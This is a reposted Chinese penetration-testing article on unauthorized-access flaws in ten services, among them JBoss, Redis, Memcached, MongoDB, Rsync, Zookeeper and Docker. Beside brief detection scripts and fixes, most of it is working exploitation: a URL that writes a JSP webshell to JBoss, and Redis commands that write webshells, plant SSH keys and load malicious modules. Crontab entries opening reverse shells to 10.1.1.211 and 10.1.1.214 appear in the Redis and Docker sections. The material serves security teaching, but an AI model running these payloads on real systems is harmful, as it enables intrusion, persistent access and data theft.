聊聊常见未授权访问漏洞总结

 [[334872]]

本文转载自微信公众号「Bypass」,作者Bypass 。转载本文请联系Bypass公众号。

本文详细地介绍了常见未授权访问漏洞及其利用,具体漏洞列表如下:

  • Jboss 未授权访问
  • Jenkins 未授权访问
  • ldap未授权访问
  • Redis未授权访问
  • elasticsearch未授权访问
  • MenCache未授权访问
  • Mongodb未授权访问
  • Rsync未授权访问
  • Zookeeper未授权访问
  • Docker未授权访问

1、Jboss未授权访问

漏洞原因:

在低版本中,默认可以访问Jboss web控制台(http://127.0.0.1:8080/jmx-console),无需用户名和密码。

 

漏洞利用:

1、写入一句话木马:

  1. http://127.0.0.1:8080/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True 

2、写入1.txt文件

  1. http://127.0.0.1:8080/August/shell.jsp?f=1.txt&t=hello world! 

3、访问1.txt文件

  1. http://127.0.0.1:8080/August/1.txt 

检测工具:jexboss,一个使用Python编写的Jboss漏洞检测利用工具,通过它可以检测并利用web-console,jmx-console,JMXInvokerServlet这三个漏洞,并且可以获得一个shell。

修复建议:关闭jmx-console和web-console,提高安全性。

2、Jenkins 未授权访问

漏洞原因:未设置密码,导致未授权访问。

漏洞测试:直接通过url访问

  1. http://<target>:8080/manage 
  2. http://<target>:8080/script 

 

修复建议:设置强口令密码。

3、ldap未授权访问

漏洞原因:没有对Ldap进行密码验证,导致未授权访问。

检测脚本:

  1. #! /usr/bin/env python 
  2. # _*_  coding:utf-8 _*_ 
  3.  
  4. from ldap3 import Connection,Server,ALL 
  5. def ldap_anonymous(ip): 
  6.     try: 
  7.         server = Server(ip,get_info=ALL,connect_timeout=1) 
  8.         conn = Connection(server, auto_bind=True
  9.         print "[+] ldap login for anonymous" 
  10.         conn.closed 
  11.     except
  12.         #pass 
  13.         print '[-] checking for ldap anonymous fail' 

利用工具:使用LdapBrowser直接连入,获取敏感信息。

修复建议:增加强密码验证。

4、Redis未授权访问

漏洞利用:

姿势一:绝对路径写webshell

我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件:

  1. config set dir /home/wwwroot/default
  2. config set dbfilename redis.php 
  3. set webshell "<?php phpinfo(); ?>" 
  4. save 

姿势二:公私钥认证获取root权限

1、ssh免密码配置

  1. ssh-keygen -t rsa -P ''     #生成公钥/私钥对                            
  2. cd /root/.ssh/ 
  3. (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt  #将公钥写入 foo.txt 文件 
  4. 连接 Redis 写入文件 

2、连接Redis写入文件

  1. cat foo.txt | ./redis-cli -h 192.168.125.140  -x set crackit 
  2. ./redis-cli -h 192.168.125.140 
  3. config set dir /root/.ssh/ 
  4. config get dir 
  5. config set dbfilename "authorized_keys" 
  6. save 

利用私钥成功登录redis服务器

 

姿势三:利用contrab计划任务反弹shell

  1. config set dir /var/spool/cron/crontabs/ 
  2. config set dbfilename root 
  3. flushall 
  4. set test "* * * * * /bin/bash -i >& /dev/tcp/10.1.1.211:1234 0>&1" 
  5. save 

姿势四:主从复制RCE

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。

通过脚本实现一键自动化getshell:

1、生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成。

  1. git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand 
  2. cd RedisModules-ExecuteCommand/ 
  3. make 

2、攻击端执行:python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

  1. git clone https://github.com/Ridter/redis-rce.git 
  2. cd redis-rce/ 
  3. cp ../RedisModules-ExecuteCommand/src/module.so ./ 
  4. pip install -r requirements.txt  
  5. python redis-rce.py -r 192.168.28.152 -p 6379 -L 192.168.28.137 -f module.so 

5、Elasticsearch未授权访问

漏洞原因:Elasticsearch 默认端口为9200 ,攻击者可以直接访问http://ip:port。

检测脚本:

  1. #! /usr/bin/env python 
  2. # _*_  coding:utf-8 _*_ 
  3.  
  4. import requests 
  5. def Elasticsearch_check(ip, port=9200, timeout=5): 
  6.     try: 
  7.       url = "http://"+ip+":"+str(port)+"/_cat" 
  8.       response = requests.get(url)  
  9.     except
  10.       pass 
  11.     if "/_cat/master" in response.content: 
  12.       print '[+] Elasticsearch Unauthorized: ' +ip+':'+str(port) 

漏洞测试:

  1. http://localhost:9200/_cat/indices 
  2. http://localhost:9200/_river/_search 查看数据库敏感信息 
  3. http://localhost:9200/_nodes 查看节点数据 
  4.  
  5. 如有安装head插件: 
  6. http://localhost:9200/_plugin/head/ web管理界面 

修复建议:

1、限制IP访问,绑定固定IP

2、在config/elasticsearch.yml中为9200端口设置认证:

  1. http.basic.enabled true #开关,开启会接管全部HTTP连接 
  2.   http.basic.user "admin" #账号 
  3.   http.basic.password "admin_pw" #密码 
  4.   http.basic.ipwhitelist ["localhost""127.0.0.1"

6、MenCache未授权访问

漏洞原因:Memcached 分布式缓存系统,默认的 11211 端口不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。

检测脚本:

  1. #! /usr/bin/env python 
  2. # _*_  coding:utf-8 _*_ 
  3. def Memcache_check(ip, port=11211, timeout=5): 
  4.     try: 
  5.         socket.setdefaulttimeout(timeout) 
  6.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  7.         s.connect((ip, int(port))) 
  8.         s.send("stats\r\n"
  9.         result = s.recv(1024) 
  10.         if "STAT version" in result: 
  11.             print '[+] Memcache Unauthorized: ' +ip+':'+str(port) 
  12.     except Exception, e: 
  13.         pass 

漏洞验证:

  1. #无需用户名密码,可以直接连接memcache 服务的11211端口。 
  2. telnet x.x.x.x  11211 
  3.  
  4. stats  //查看memcache 服务状态 
  5. stats items  //查看所有items 
  6. stats cachedump 32 0  //获得缓存key 
  7. get :state:264861539228401373:261588   //通过key读取相应value ,获得实际缓存内容,造成敏感信息泄露 

修复建议:绑定的ip地址为 127.0.0.1,或者通过firewall限制访问。

7、Mongodb未授权访问

漏洞原因:MongoDB 默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增删改高危动作),而且可以远程访问数据库。

检测脚本:

  1. #! /usr/bin/env python 
  2. # _*_  coding:utf-8 _*_ 
  3.  
  4. def mongodb(ip,port):     
  5.     try: 
  6.         client = MongoClient(ip,port) 
  7.         db=client.local 
  8.         flag = db.collection_names() 
  9.         if flag:     
  10.             print "[+] Mongodb login for anonymous" 
  11.     except Exception, e: 
  12.         pass 

修复建议:增加用户密码权限验证,设置本地监听或者访问控制。

8、Rsync未授权访问

漏洞原因:未配置账号密码认证,导致未授权访问。

漏洞测试:

  1. 列举整个同步目录或指定目录: 
  2. rsync 10.0.0.12 :: 
  3. rsync 10.0.0.12 :: www / 
  4.  
  5. 下载文件或目录到本地: 
  6. rsync – avz 10.0.0.12 :: WWW/  /var/tmp 
  7. rsync – avz 10.0.0.12 :: www/  /var/tmp 
  8.  
  9. 上传本地文件到服务端: 
  10. rsync -avz webshell 10.0.0.12 :: WWW / 

修复建议:增加用户密码认证,设置访问ip限制。

9、Zookeeper未授权访问

漏洞原因:ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。

漏洞测试:

  1. echo envi|nc 192.168.15.74 2181 

 

修复建议:添加用户名密码认证,设置ip访问控制。

10、Docker未授权访问

漏洞原因:docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可直接调用API来操作docker。

  1. sudo dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375 

漏洞利用:

通过docker daemon api 执行docker命令。

  1. #列出容器信息,效果与docker ps一致。 
  2. curl http://<target>:2375/containers/json 
  3.  
  4. #启动容器 
  5. docker -H tcp://<target>:2375 ps -a 

1、新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下。

  1. sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash 

2、在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/root

  1. echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root 

3、本地监听端口,获取对方宿主机shell。

 

 

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/126642.html<

(0)
运维的头像运维
上一篇2025-02-24 07:37
下一篇 2025-02-24 07:38

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注